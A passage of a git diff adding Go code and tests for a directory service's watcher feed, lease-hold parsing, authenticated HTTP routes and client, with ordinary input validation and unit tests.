interface { + Directory + Feed() *Feed +} + +// Feed is one directory's published Status and the watchers waiting on it. A +// backend publishes once per committed change, and never anywhere else, so a +// watcher hears every change and nothing that only moved a lease's clock. +type Feed struct { + cur atomic.Pointer[Status] + + mu sync.Mutex + cap int + subs map[*Sub]struct{} + closed chan struct{} + + // clock is the directory's own clock, so a sign of life and a lease expiry + // are read on one timeline (a test's fake clock moves both). + clock func() time.Time + // holders indexes the sockets that name a hold, by what they name, so the + // evidence for one lease is found without scanning every socket. + holders map[holdKey]map[*Sub]struct{} + // pres is which devices hold a socket, and the event frames about it. + pres *presence +} + +// holdKey is what a socket's hold is matched against: the device that opened +// the socket (from its signature) and the cell and fence it named. +type holdKey struct { + device, cell string + fence uint64 +} + +// NewFeed returns a feed at version 0 with the default cap, stamping sockets +// with clock. +func NewFeed(clock func() time.Time) *Feed { + f := &Feed{ + cap: MaxWatchers, subs: map[*Sub]struct{}{}, closed: make(chan struct{}), + clock: clock, holders: map[holdKey]map[*Sub]struct{}{}, pres: newPresence(clock), + } + f.cur.Store(&Status{Stopped: map[string]bool{}}) + return f +} + +// SetAfter changes the timers the feed's presence runs on, which a test that +// keeps its own clock sets once before it serves. +func (f *Feed) SetAfter(after After) { + f.pres.mu.Lock() + defer f.pres.mu.Unlock() + f.pres.after = after +} + +// Status is the newest published Status. +func (f *Feed) Status() Status { return *f.cur.Load() } + +// SetMaxWatchers changes the cap; a test or a relay that wants another says so once. +func (f *Feed) SetMaxWatchers(n int) { + f.mu.Lock() + defer f.mu.Unlock() + f.cap = n +} + +// Publish makes st current and wakes every watcher. A Status older than the +// current one is dropped, so two commits finishing out of order cannot make +// the version go down. +func (f *Feed) Publish(st Status) { + f.mu.Lock() + defer f.mu.Unlock() + if st.Version < f.cur.Load().Version { + return + } + f.pres.revokedSince(f.cur.Load().Stopped, st.Stopped) + f.cur.Store(&st) + for s := range f.subs { + s.wake() + } +} + +// Close ends every watch; it is for the directory's own Close. +func (f *Feed) Close() { + f.mu.Lock() + defer f.mu.Unlock() + select { + case <-f.closed: + default: + close(f.closed) + } + f.pres.stop() +} + +// Subscribe adds a watcher opened by device that names holds, or refuses with +// ErrTooManyWatchers at the cap. Its accept time is its first sign of life. It +// is a client from before presence, which pings at DefaultBeat. +func (f *Feed) Subscribe(device string, holds []Hold) (*Sub, error) { + return f.SubscribeBeat(device, holds, DefaultBeat) +} + +// SubscribeBeat is Subscribe for a watcher that promised to ping every beat: it +// counts as online for Window(beat) after its last sign of life. +func (f *Feed) SubscribeBeat(device string, holds []Hold, beat time.Duration) (*Sub, error) { + s, err := f.subscribe(device, holds, beat) + if err == nil { + f.pres.opened(s) + } + return s, err +} + +func (f *Feed) subscribe(device string, holds []Hold, beat time.Duration) (*Sub, error) { + f.mu.Lock() + defer f.mu.Unlock() + if len(f.subs) >= f.cap { + return nil, ErrTooManyWatchers + } + s := &Sub{ + f: f, poke: make(chan struct{}, 1), device: device, beat: beat, silence: make(chan struct{}), + events: make(chan dirwatch.Event, eventBuffer), keys: keysOf(device, holds), + } + s.alive.Store(f.clock().UnixMilli()) + f.subs[s] = struct{}{} + for _, k := range s.keys { + if f.holders[k] == nil { + f.holders[k] = map[*Sub]struct{}{} + } + f.holders[k][s] = struct{}{} + } + return s, nil +} + +func keysOf(device string, holds []Hold) []holdKey { + keys := make([]holdKey, len(holds)) + for i, h := range holds { + keys[i] = holdKey{device, h.Cell, h.Fence} + } + return keys +} + +// VouchedUntil is the time until which the sockets of device that named +// exactly (cell, fence) keep that lease live: the newest sign of life among +// them plus the lease TTL, or 0 when no socket names it. +func (f *Feed) VouchedUntil(device, cell string, fence uint64) int64 { + f.mu.Lock() + defer f.mu.Unlock() + var newest int64 + for s := range f.holders[holdKey{device, cell, fence}] { + newest = max(newest, s.alive.Load()) + } + if newest == 0 { + return 0 + } + return newest + ttlMs +} + +// Lifted is cell c (stored under id) as every reader must see it: with its +// lease kept live by the sockets that vouch for it. +func (f *Feed) Lifted(id string, c Cell) Cell { + if c.Lease.Expires == 0 { + return c + } + return Lifted(c, f.VouchedUntil(c.Lease.Device, id, c.Lease.Fence)) +} + +// lift is Lifted for a record of any kind: only a cell has a lease. +func (f *Feed) lift(id string, v any) any { + if c, ok := v.(Cell); ok { + return f.Lifted(id, c) + } + return v +} + +// differs says whether next is a change a person could see from old, reading +// both as the lifted records they appear as, so evidence alone never counts. +func (f *Feed) differs(id string, old, next any, now int64) bool { + return differs(f.lift(id, old), f.lift(id, next), now) +} + +// Sub is one watcher. It keeps no queue: it always reads the newest Status, so +// a slow watcher skips intermediate versions and never sees one go down. +type Sub struct { + f *Feed + poke chan struct{} + sent uint64 + started bool + + device string + shut atomic.Bool + events chan dirwatch.Event // event frames, once Events was called + keys []holdKey + alive atomic.Int64 // unix ms of the last sign of life + + // beat is the period the socket promised to ping at; it sets how long the + // socket stays live (contract 21.12.2). + beat time.Duration + // lapsed is set once the relay announced the socket's device offline and + // told the socket to go: a lapsed socket is never live again. silence is + // closed with it, which is what ends the socket's own goroutine. + lapsed atomic.Bool + silence chan struct{} +} + +// liveAt says whether the socket's last sign of life, at unix ms now, is inside +// its window: only a live socket counts toward its device being online. +func (s *Sub) liveAt(now int64) bool { + return !s.lapsed.Load() && now-s.alive.Load() <= Window(s.beat).Milliseconds() +} + +// lapse marks the socket silent for good and tells its goroutine to close it. +func (s *Sub) lapse() { + if s.lapsed.CompareAndSwap(false, true) { + close(s.silence) + } +} + +// Ping records a sign of life at the directory's time. It changes no version +// and wakes nobody: evidence is not a change a person can see. +func (s *Sub) Ping() { s.alive.Store(s.f.clock().UnixMilli()) } + +func (s *Sub) wake() { + select { + case s.poke <- struct{}{}: + default: + } +} + +// Next waits for a Status this watcher has not heard: the first call answers +// at once with the current one, which is what closes the gap between a list +// read and a subscription. +func (s *Sub) Next(ctx context.Context) (Status, error) { + for { + if st := s.f.Status(); !s.started || st.Version > s.sent { + s.started, s.sent = true, st.Version + return st, nil + } + select { + case <-ctx.Done(): + return Status{}, ctx.Err() + case <-s.f.closed: + return Status{}, errFeedClosed + case <-s.silence: + return Status{}, errSilent + case <-s.poke: + } + } +} + +// Close removes the watcher, which frees its place under the cap at once. +func (s *Sub) Close() { + if !s.shut.CompareAndSwap(false, true) { + return + } + s.leave() + s.f.pres.closed(s) +} + +func (s *Sub) leave() { + s.f.mu.Lock() + defer s.f.mu.Unlock() + delete(s.f.subs, s) + for _, k := range s.keys { + delete(s.f.holders[k], s) + if len(s.f.holders[k]) == 0 { + delete(s.f.holders, k) + } + } +} + +// visible is a record that can say which of its fields a person sees. +type visible interface{ visibleAt(now int64) any } + +// visibleAt is the Cell as the home list shows it: whether the lease is held +// counts, and when it runs out does not, so a heartbeat that only pushes the +// expiry later changes nothing a person could see. +func (c Cell) visibleAt(now int64) any { + if c.Lease.Expires > now { + c.Lease.Expires = 1 + } else { + c.Lease.Expires = 0 + } + return c +} + +// fingerprint is the bytes two records are compared by. +func fingerprint(v any, now int64) []byte { + if p, ok := v.(visible); ok { + v = p.visibleAt(now) + } + b, _ := json.Marshal(v) + return b +} + +// differs says whether next is a change a person could see from old. +func differs(old, next any, now int64) bool { + return !bytes.Equal(fingerprint(old, now), fingerprint(next, now)) +} diff --git a/internal/directory/feed_test.go b/internal/directory/feed_test.go new file mode 100644 index 0000000000..b09b06f714 --- /dev/null +++ b/internal/directory/feed_test.go @@ -0,0 +1,132 @@ +package directory + +import ( + "context" + "testing" + "time" +) + +// A heartbeat that only moves the lease's expiry is not a change a person sees; +// losing or gaining the lease, a new fence or a new pending count is. +func TestDiffersIgnoresOnlyTheExpiry(t *testing.T) { + const now = int64(1000) + held := Cell{Lease: Lease{Device: "d", Fence: 1, Expires: now + 500}} + later := held + later.Lease.Expires = now + 900 + if differs(held, later, now) { + t.Fatal("an expiry moved later counted as a visible change") + } + for name, next := range map[string]Cell{ + "release": {Lease: Lease{Device: "d", Fence: 1}}, + "acquire": {Lease: Lease{Device: "d", Fence: 2, Expires: now + 500}}, + "pending": {Lease: Lease{Device: "d", Fence: 1, Expires: now + 500, Pending: 1}}, + "archived": {Lease: held.Lease, Archived: true}, + } { + if !differs(held, next, now) { + t.Errorf("%s was not counted as a visible change", name) + } + } +} + +// A watcher is told the current version at once, then only newer ones, and a +// slow one skips to the newest instead of queueing. +func TestSubHearsNewestOnly(t *testing.T) { + f := NewFeed(time.Now) + sub, err := f.Subscribe("d", nil) + if err != nil { + t.Fatal(err) + } + ctx, cancel := context.WithTimeout(context.Background(), time.Second) + defer cancel() + want := func(v uint64) { + t.Helper() + st, err := sub.Next(ctx) + if err != nil || st.Version != v { + t.Fatalf("Next = %d, %v; want %d", st.Version, err, v) + } + } + want(0) + f.Publish(Status{Version: 1}) + f.Publish(Status{Version: 2}) + f.Publish(Status{Version: 1}) // a commit that finished late must not lower it + want(2) +} + +func TestFeedCapFreesOnClose(t *testing.T) { + f := NewFeed(time.Now) + f.SetMaxWatchers(1) + first, err := f.Subscribe("d", nil) + if err != nil { + t.Fatal(err) + } + if _, err := f.Subscribe("d", nil); err != ErrTooManyWatchers { + t.Fatalf("second subscribe = %v, want ErrTooManyWatchers", err) + } + first.Close() + if _, err := f.Subscribe("d", nil); err != nil { + t.Fatalf("after a close: %v", err) + } +} + +// fakeNow is a clock a test moves by hand. +type fakeNow struct{ ms int64 } + +func (f *fakeNow) now() time.Time { return time.UnixMilli(f.ms) } + +// A socket vouches from its accept time, a ping moves it on, only the device +// that opened it and only the exact (cell, fence) it named count, and a closed +// socket vouches for nothing. +func TestVouchedUntilIsNewestSignOfLifeOfMatchingSockets(t *testing.T) { + clk := &fakeNow{ms: 1000} + f := NewFeed(clk.now) + if got := f.VouchedUntil("d", "c", 1); got != 0 { + t.Fatalf("no sockets vouched until %d", got) + } + first, _ := f.Subscribe("d", []Hold{{"c", 1}}) + if got, want := f.VouchedUntil("d", "c", 1), 1000+ttlMs; got != want { + t.Fatalf("accept time: vouched until %d, want %d", got, want) + } + clk.ms = 5000 + second, _ := f.Subscribe("d", []Hold{{"c", 1}}) + first.Ping() + clk.ms = 7000 + second.Ping() + if got, want := f.VouchedUntil("d", "c", 1), 7000+ttlMs; got != want { + t.Fatalf("newest of two sockets: %d, want %d", got, want) + } + for name, key := range map[string][3]any{ + "other device": {"e", "c", uint64(1)}, "other cell": {"d", "x", uint64(1)}, "other fence": {"d", "c", uint64(2)}, + } { + if got := f.VouchedUntil(key[0].(string), key[1].(string), key[2].(uint64)); got != 0 { + t.Errorf("%s vouched until %d", name, got) + } + } + second.Close() + if got, want := f.VouchedUntil("d", "c", 1), 5000+ttlMs; got != want { + t.Fatalf("after the newer socket closed: %d, want %d", got, want) + } + first.Close() + if got := f.VouchedUntil("d", "c", 1); got != 0 { + t.Fatalf("after every socket closed: vouched until %d", got) + } +} + +// Evidence is not a change: a lease lifted by a socket and the same lease with +// a later stored expiry look the same, and only held-ness counts. +func TestEvidenceAloneIsNotAVisibleChange(t *testing.T) { + clk := &fakeNow{ms: 1000} + f := NewFeed(clk.now) + s, _ := f.Subscribe("d", []Hold{{"c", 1}}) + stored := Cell{Lease: Lease{Device: "d", Fence: 1, Expires: 1000 + ttlMs}} + clk.ms = 50_000 + s.Ping() + clk.ms = 1000 + ttlMs + 10 // past the stored expiry, inside the socket's vouch + later := stored + later.Lease.Expires = clk.ms + ttlMs + if f.differs("c", stored, later, clk.ms) { + t.Fatal("moving the stored expiry of a vouched lease counted as a change") + } + if !f.differs("other", stored, later, clk.ms) { + t.Fatal("a lease past its stored expiry that a renewal makes held must count when nothing vouches as a change") + } +} diff --git a/internal/directory/handler.go b/internal/directory/handler.go new file mode 100644 index 0000000000..17d6c7056c --- /dev/null +++ b/internal/directory/handler.go @@ -0,0 +1,207 @@ +package directory + +import ( + "context" + "encoding/json" + "errors" + "io" + "net/http" + "strconv" + "time" + + "github.com/Agent-Field/codeaf/internal/wireauth" +) + +// MaxBody caps a request body. The largest honest body is a CellInit with its +// key map, far below this; the cap keeps an anonymous caller from making the +// relay buffer more, since the body must be read whole before it can be verified. +const MaxBody = 1 << 20 + +// call is everything one route needs: the Client of the verified device and +// the request it answers. Routes never see an identity or a device to trust. +type call struct { + dir Directory + cl Client + device string + r *http.Request + body []byte +} + +func (c call) ctx() context.Context { return c.r.Context() } +func (c call) id() string { return c.r.PathValue("id") } +func (c call) code() string { return c.r.PathValue("code") } + +// route answers one call. A nil result is an empty 204. +type route func(call) (any, error) + +// Handler serves the directory wire. Each request is authenticated first, and +// then answered by open(identity).For(device), both taken from auth, so a body +// can never name the acting device or reach another identity's records. +func Handler(auth wireauth.Authenticate, open func(identity string) (Directory, error)) http.Handler { + h := &handler{auth: auth, open: open} + mux := http.NewServeMux() + for pattern, rt := range routes { + mux.HandleFunc(pattern, h.serve(rt)) + } + mux.HandleFunc("GET "+WatchPath, h.watch) + return mux +} + +type handler struct { + auth wireauth.Authenticate + open func(string) (Directory, error) +} + +func (h *handler) serve(rt route) http.HandlerFunc { + return func(w http.ResponseWriter, r *http.Request) { + c, err := h.admit(w, r) + if err != nil { + refuse(w, err) + return + } + out, err := rt(c) + if err != nil { + refuse(w, err) + return + } + reply(w, out) + } +} + +// admit reads the bounded body, authenticates it and opens the caller's Client. +func (h *handler) admit(w http.ResponseWriter, r *http.Request) (call, error) { + body, err := io.ReadAll(http.MaxBytesReader(w, r.Body, MaxBody)) + if err != nil { + return call{}, errTooLarge + } + identity, device, err := h.auth(r, body) + if err != nil { + return call{}, denial(err) + } + dir, err := h.open(identity) + if err != nil { + return call{}, err + } + return call{dir: dir, cl: dir.For(device), device: device, r: r, body: body}, nil +} + +// denial names a refusal the way the wire does: skew and revoked have their +// own codes because a person can act on them, every other one is unauthorized. +func denial(err error) error { + if err = wireauth.Narrow(err); errors.Is(err, wireauth.ErrUnauthorized) { + return ErrUnauthorized + } + return err +} + +func refuse(w http.ResponseWriter, err error) { + we := classify(err) + if after := wireauth.After(err); after > 0 { + w.Header().Set("Retry-After", strconv.Itoa(int((after+time.Second-1)/time.Second))) + } + send(w, we.status, errBody{Err: we.code}) +} + +// headed is an answer that also sets headers, as a list sets its version. +type headed interface{ header(http.Header) } + +func (l Listing) header(h http.Header) { + h.Set(VersionHeader, strconv.FormatUint(l.Version, 10)) +} + +func reply(w http.ResponseWriter, out any) { + if h, ok := out.(headed); ok { + h.header(w.Header()) + } + if out == nil { + w.WriteHeader(http.StatusNoContent) + return + } + send(w, http.StatusOK, out) +} + +func send(w http.ResponseWriter, status int, v any) { + w.Header().Set("Content-Type", "application/json") + w.WriteHeader(status) + _ = json.NewEncoder(w).Encode(v) +} + +// routes is the §4.4 table, one entry per method and path. +var routes = map[string]route{ + "GET " + dirBase + "/list": func(c call) (any, error) { return pair(c.cl.List(c.ctx())) }, + "GET " + dirBase + "/presence": func(c call) (any, error) { return pair(c.cl.Presence(c.ctx())) }, + "GET " + dirBase + "/cells/{id}": func(c call) (any, error) { return pair(c.cl.Cell(c.ctx(), c.id())) }, + "PUT " + dirBase + "/devices/{id}": withBody(putDevice), + "POST " + dirBase + "/devices/{id}/revoke": func(c call) (any, error) { return nothing(c.cl.Revoke(c.ctx(), c.id())) }, + "POST " + dirBase + "/vault": withBody(setVault), + "POST " + dirBase + "/cells/{id}": withBody(create), + "POST " + dirBase + "/cells/{id}/acquire": optionalBody(acquire), + "POST " + dirBase + "/cells/{id}/heartbeat": withBody(heartbeat), + "POST " + dirBase + "/cells/{id}/publish": withBody(publish), + "POST " + dirBase + "/cells/{id}/release": withBody(release), + "POST " + dirBase + "/cells/{id}/archive": func(c call) (any, error) { return nothing(c.cl.Archive(c.ctx(), c.id())) }, + "POST " + dirBase + "/requests/{code}/approve": withBody(approveRequest), + "POST " + dirBase + "/requests/{code}/deny": func(c call) (any, error) { return nothing(c.cl.DenyRequest(c.ctx(), c.code())) }, + "GET " + rotationPath: func(c call) (any, error) { return pair(c.cl.Rotation(c.ctx())) }, + "POST " + rotationPath: withBody(rotate), +} + +// pair and nothing adapt a Client's return shapes to a route's. +func pair[T any](v T, err error) (any, error) { return v, err } +func nothing(err error) (any, error) { return nil, err } + +// withBody decodes the request body as T before running f. +func withBody[T any](f func(call, T) (any, error)) route { + return func(c call) (any, error) { + var v T + if err := json.Unmarshal(c.body, &v); err != nil { + return nil, errBadRequest + } + return f(c, v) + } +} + +// optionalBody is withBody for a request whose body may be absent, which then +// decodes as the zero T, so a client that sends none still gets its old meaning. +func optionalBody[T any](f func(call, T) (any, error)) route { + return func(c call) (any, error) { + if len(c.body) == 0 { + var zero T + return f(c, zero) + } + return withBody(f)(c) + } +} + +// putDevice refuses a record for any device but the signer's: a device may +// only ever write its own record. +func putDevice(c call, d Device) (any, error) { + if c.id() != c.device { + return nil, ErrUnauthorized + } + return nothing(c.cl.PutDevice(c.ctx(), c.id(), d)) +} + +// vaultSwap is the body of the vault compare-and-swap. +type vaultSwap struct { + Old string `json:"old"` + New string `json:"new"` +} + +// fenceBody is the body of a release. +type fenceBody struct { + Fence uint64 `json:"fence"` +} + +func approveRequest(c call, a Approval) (any, error) { + return nothing(c.cl.ApproveRequest(c.ctx(), c.code(), a)) +} +func rotate(c call, req RotationReq) (any, error) { return pair(c.cl.Rotate(c.ctx(), req)) } +func setVault(c call, s vaultSwap) (any, error) { return nothing(c.cl.SetVault(c.ctx(), s.Old, s.New)) } +func create(c call, in CellInit) (any, error) { return pair(c.cl.Create(c.ctx(), c.id(), in)) } +func acquire(c call, o AcquireOpts) (any, error) { return pair(c.cl.Acquire(c.ctx(), c.id(), o)) } +func heartbeat(c call, b Beat) (any, error) { return pair(c.cl.Heartbeat(c.ctx(), c.id(), b)) } +func publish(c call, p Publish) (any, error) { return pair(c.cl.Publish(c.ctx(), c.id(), p)) } +func release(c call, f fenceBody) (any, error) { + return nothing(c.cl.Release(c.ctx(), c.id(), f.Fence)) +} diff --git a/internal/directory/hold.go b/internal/directory/hold.go new file mode 100644 index 0000000000..40280a9d4d --- /dev/null +++ b/internal/directory/hold.go @@ -0,0 +1,150 @@ +package directory + +import ( + "net/url" + "strconv" + "strings" + "time" +) + +// The presence declaration of a watch socket (contract 21.12.3). A client says +// at what period it promises to ping, in whole seconds from 1 to MaxBeat, and the +// relay counts it online for WindowFactor beats after its last sign of life. A +// socket that declares nothing is a client from before presence, which pings at +// DefaultBeat. The hosted relay reads the same numbers as maxBeat, windowFactor +// and defaultBeat in limits.js. +const ( + MaxBeat = 60 + WindowFactor = 2.5 + DefaultBeat = 30 * time.Second +) + +// Window is how long a socket that promised to ping every beat stays live after +// its last sign of life: enough for one lost ping and a late second one. +func Window(beat time.Duration) time.Duration { + return time.Duration(float64(beat) * WindowFactor) +} + +// ParseBeat reads the beat parameters of a watch URL: DefaultBeat when there are +// none, otherwise the one value named, which must be a plain decimal from 1 to +// MaxBeat. The same value twice is one value; two different values are malformed. +func ParseBeat(values []string) (time.Duration, error) { + beat := DefaultBeat + for i, v := range values { + n, ok := parseBeat(v) + if !ok || (i > 0 && n != beat) { + return 0, errBadRequest + } + beat = n + } + return beat, nil +} + +func parseBeat(v string) (time.Duration, bool) { + n, err := strconv.Atoi(v) + if err != nil || !plainDecimal(v) || n < 1 || n > MaxBeat { + return 0, false + } + return time.Duration(n) * time.Second, true +} + +// MaxHolds is how many holds one watch socket may name. A process that holds +// more cells than this names the first MaxHolds and keeps beating for the rest. +// The hosted relay reads the same number as maxHolds in limits.js. +const MaxHolds = 16 + +// MaxHoldCellBytes is the longest cell id a hold may name, and maxHoldFence the +// largest fence: 2^53-1, the most a JavaScript number keeps exactly, so both +// relays read the same hold the same way. +const ( + MaxHoldCellBytes = 64 + maxHoldFence = 1<<53 - 1 +) + +// Hold is one lease a watch socket names in its URL: the cell and the fence of +// the lease its holder believes it has. The relay counts the socket as proof of +// life for that lease only while the fence is still the lease's current one. +type Hold struct { + Cell string + Fence uint64 +} + +// HoldQuery is the query string (without the leading "?") that names holds, in +// the order given; it is empty when there are none. +func HoldQuery(holds []Hold) string { + q := make([]string, len(holds)) + for i, h := range holds { + q[i] = "hold=" + url.QueryEscape(h.Cell+":"+strconv.FormatUint(h.Fence, 10)) + } + return strings.Join(q, "&") +} + +// ParseHolds reads the repeated hold parameters of a watch URL. The last colon +// splits a value, so a cell id may itself contain colons. A value without a +// colon, with an empty id or with a fence that is not an unsigned decimal, or +// more than MaxHolds values, is malformed, and so is an id longer than +// MaxHoldCellBytes or a fence of more than 16 digits or above 2^53-1. The same +// hold named twice counts once; two fences for one cell are two holds. +func ParseHolds(values []string) ([]Hold, error) { + if len(values) > MaxHolds { + return nil, errBadRequest + } + holds := make([]Hold, 0, len(values)) + seen := map[Hold]bool{} + for _, v := range values { + h, ok := parseHold(v) + if !ok { + return nil, errBadRequest + } + if !seen[h] { + seen[h] = true + holds = append(holds, h) + } + } + return holds, nil +} + +func parseHold(v string) (Hold, bool) { + i := strings.LastIndexByte(v, ':') + if i <= 0 || i > MaxHoldCellBytes { + return Hold{}, false + } + digits := v[i+1:] + if !plainDecimal(digits) { + return Hold{}, false + } + n, err := strconv.ParseUint(digits, 10, 64) + if err != nil || n > maxHoldFence { + return Hold{}, false + } + return Hold{Cell: v[:i], Fence: n}, true +} + +// plainDecimal is s matching ^[0-9]{1,16}$: no sign, no space, no leading junk. +func plainDecimal(s string) bool { + if len(s) == 0 || len(s) > 16 { + return false + } + for _, r := range s { + if r < '0' || r > '9' { + return false + } + } + return true +} + +// EventsQuery is the watch query parameter that opts a socket in to event +// frames (presence, joined, revoked). A socket without it hears versions only. +const EventsQuery = "events=1" + +// watchQuery is the query of a watch URL: the holds, then the events flag. +func watchQuery(holds []Hold, events bool) string { + q := HoldQuery(holds) + switch { + case !events: + return q + case q == "": + return EventsQuery + } + return q + "&" + EventsQuery +} diff --git a/internal/directory/hold_test.go b/internal/directory/hold_test.go new file mode 100644 index 0000000000..23ddf34391 --- /dev/null +++ b/internal/directory/hold_test.go @@ -0,0 +1,49 @@ +package directory + +import ( + "net/url" + "reflect" + "strings" + "testing" +) + +func TestHoldQueryRoundTripsThroughParse(t *testing.T) { + in := []Hold{{"a:b", 3}, {"c", 0}, {strings.Repeat("x", MaxHoldCellBytes), maxHoldFence}} + q, err := url.ParseQuery(HoldQuery(in)) + if err != nil { + t.Fatal(err) + } + got, err := ParseHolds(q["hold"]) + if err != nil || !reflect.DeepEqual(got, in) { + t.Fatalf("ParseHolds = %v, %v; want %v", got, err, in) + } + if HoldQuery(nil) != "" { + t.Fatal("no holds must give an empty query") + } +} + +func TestParseHoldsRefusesWhatTheContractRefuses(t *testing.T) { + for _, v := range []string{ + "nocolon", ":5", "c:", "c:-1", "c:+1", "c: 1", "c:1x", "c:9007199254740992", + "c:12345678901234567", strings.Repeat("c", MaxHoldCellBytes+1) + ":1", "", + } { + if _, err := ParseHolds([]string{v}); err != errBadRequest { + t.Errorf("hold %q: err %v, want bad request", v, err) + } + } + many := make([]string, MaxHolds+1) + for i := range many { + many[i] = "c:1" + } + if _, err := ParseHolds(many); err != errBadRequest { + t.Errorf("%d holds: err %v, want bad request", len(many), err) + } +} + +func TestParseHoldsCountsARepeatedHoldOnce(t *testing.T) { + got, err := ParseHolds([]string{"c:1", "c:2", "c:1"}) + want := []Hold{{"c", 1}, {"c", 2}} + if err != nil || !reflect.DeepEqual(got, want) { + t.Fatalf("ParseHolds = %v, %v; want %v", got, err, want) + } +} diff --git a/internal/directory/http.go b/internal/directory/http.go new file mode 100644 index 0000000000..cb25b7f643 --- /dev/null +++ b/internal/directory/http.go @@ -0,0 +1,167 @@ +package directory + +import ( + "bytes" + "context" + "encoding/json" + "fmt" + "io" + "net/http" + "net/url" + "strconv" + + "github.com/Agent-Field/codeaf/internal/wireauth" +) + +// HTTP is a Client that speaks the directory wire. Which device it acts as is +// decided by the Sign func it was built with, never by anything it sends. +type HTTP struct { + base string + sign wireauth.Sign + hc *http.Client +} + +// NewHTTP returns the Client for the device that sign stamps requests as. +func NewHTTP(base string, sign wireauth.Sign, hc *http.Client) *HTTP { + return &HTTP{base: base, sign: sign, hc: hc} +} + +var _ Client = (*HTTP)(nil) + +func cellPath(id, verb string) string { + p := dirBase + "/cells/" + url.PathEscape(id) + if verb != "" { + p += "/" + verb + } + return p +} + +// List reads the directory. The listing carries the version the relay read it +// at (0 when the relay does not say), which a feed compares with the versions +// it is told of. +func (h *HTTP) List(ctx context.Context) (l Listing, err error) { + hdr, err := h.doHeader(ctx, http.MethodGet, dirBase+"/list", nil, &l) + if err == nil { + l.Version, _ = strconv.ParseUint(hdr.Get(VersionHeader), 10, 64) + } + return l, err +} + +func (h *HTTP) Cell(ctx context.Context, id string) (v CellView, err error) { + return v, h.do(ctx, http.MethodGet, cellPath(id, ""), nil, &v) +} + +func (h *HTTP) PutDevice(ctx context.Context, id string, d Device) error { + return h.do(ctx, http.MethodPut, dirBase+"/devices/"+url.PathEscape(id), d, nil) +} + +func (h *HTTP) Revoke(ctx context.Context, id string) error { + return h.do(ctx, http.MethodPost, dirBase+"/devices/"+url.PathEscape(id)+"/revoke", nil, nil) +} + +func (h *HTTP) SetVault(ctx context.Context, old, next string) error { + return h.do(ctx, http.MethodPost, dirBase+"/vault", vaultSwap{Old: old, New: next}, nil) +} + +func (h *HTTP) Create(ctx context.Context, id string, in CellInit) (v CellView, err error) { + return v, h.do(ctx, http.MethodPost, cellPath(id, ""), in, &v) +} + +func (h *HTTP) Acquire(ctx context.Context, id string, o AcquireOpts) (v CellView, err error) { + return v, h.do(ctx, http.MethodPost, cellPath(id, "acquire"), o, &v) +} + +func (h *HTTP) Heartbeat(ctx context.Context, id string, b Beat) (v CellView, err error) { + return v, h.do(ctx, http.MethodPost, cellPath(id, "heartbeat"), b, &v) +} + +func (h *HTTP) Publish(ctx context.Context, id string, p Publish) (v CellView, err error) { + return v, h.do(ctx, http.MethodPost, cellPath(id, "publish"), p, &v) +} + +func (h *HTTP) Release(ctx context.Context, id string, fence uint64) error { + return h.do(ctx, http.MethodPost, cellPath(id, "release"), fenceBody{Fence: fence}, nil) +} + +func (h *HTTP) Archive(ctx context.Context, id string) error { + return h.do(ctx, http.MethodPost, cellPath(id, "archive"), nil, nil) +} + +func (h *HTTP) ApproveRequest(ctx context.Context, code string, a Approval) error { + return h.do(ctx, http.MethodPost, requestPath(code, "approve"), a, nil) +} + +func (h *HTTP) DenyRequest(ctx context.Context, code string) error { + return h.do(ctx, http.MethodPost, requestPath(code, "deny"), nil, nil) +} + +func requestPath(code, verb string) string { + return dirBase + "/requests/" + url.PathEscape(code) + "/" + verb +} + +func (h *HTTP) Rotate(ctx context.Context, req RotationReq) (v RotationView, err error) { + return v, h.do(ctx, http.MethodPost, rotationPath, req, &v) +} + +func (h *HTTP) Rotation(ctx context.Context) (v RotationView, err error) { + return v, h.do(ctx, http.MethodGet, rotationPath, nil, &v) +} + +// do sends one signed request and decodes the answer into out (when non-nil). +func (h *HTTP) do(ctx context.Context, method, path string, in, out any) error { + _, err := h.doHeader(ctx, method, path, in, out) + return err +} + +// doHeader is do that also hands back the response headers, for the reads +// that carry a fact in a header as well as in the body. +func (h *HTTP) doHeader(ctx context.Context, method, path string, in, out any) (http.Header, error) { + body, err := encode(in) + if err != nil { + return nil, err + } + req, err := http.NewRequestWithContext(ctx, method, wireauth.Endpoint(h.base, path), bytes.NewReader(body)) + if err != nil { + return nil, err + } + h.sign(req, body) + resp, err := h.hc.Do(req) + if err != nil { + return nil, fmt.Errorf("%w: %v", ErrUnreachable, err) + } + defer resp.Body.Close() + if resp.StatusCode >= 300 { + return resp.Header, refusal(resp) + } + if out == nil { + return resp.Header, nil + } + if resp.StatusCode == http.StatusNoContent { + return resp.Header, ErrStillPending // a long poll that ended with nothing new + } + return resp.Header, json.NewDecoder(resp.Body).Decode(out) +} + +// encode marshals a body; a request without one sends no bytes, so the signed +// body is exactly what the server reads. +func encode(in any) ([]byte, error) { + if in == nil { + return nil, nil + } + return json.Marshal(in) +} + +// refusal turns an error response back into the sentinel its code names. +func refusal(resp *http.Response) error { + var b errBody + raw, _ := io.ReadAll(io.LimitReader(resp.Body, MaxBody)) + if json.Unmarshal(raw, &b) == nil { + if err := errorOf(b.Err, resp.StatusCode); err != nil { + return wireauth.Wait(err, resp.Header) + } + } + if resp.StatusCode == http.StatusNotFound { + return ErrTooOld + } + return fmt.Errorf("directory: %s", resp.Status) +} diff --git a/internal/directory/http_test.go b/internal/directory/http_test.go new file mode 100644 index 0000000000..8addd3a909 --- /dev/null +++ b/internal/directory/http_test.go @@ -0,0 +1,283 @@ +package directory_test + +import ( + "bytes" + "context" + "errors" + "net/http" + "net/http/httptest" + "strings" + "sync" + "testing" + "time" + + "github.com/Agent-Field/codeaf/internal/directory" + "github.com/Agent-Field/codeaf/internal/directory/directorytest" + "github.com/Agent-Field/codeaf/internal/wireauth" +) + +const ( + devA = "dev_aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + devB = "dev_bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb" + cellX = "01J0000000000000000000000A" + head1 = "1111111111111111111111111111111111111111111111111111111111111111" + head2 = "2222222222222222222222222222222222222222222222222222222222222222" +) + +// The fake pair stands in for the signing package: sign names the sender in +// two headers and authenticate reads them back. +func fakeSign(identity, device string) wireauth.Sign { + return func(r *http.Request, _ []byte) { + r.Header.Set("X-Test-Identity", identity) + r.Header.Set("X-Test-Device", device) + } +} + +func fakeAuth(r *http.Request, _ []byte) (string, string, error) { + id, dev := r.Header.Get("X-Test-Identity"), r.Header.Get("X-Test-Device") + if id == "" || dev == "" { + return "", "", wireauth.ErrUnauthorized + } + return id, dev, nil +} + +// namespaces opens one Memory per identity, as the relay opens one per namespace. +type namespaces struct { + mu sync.Mutex 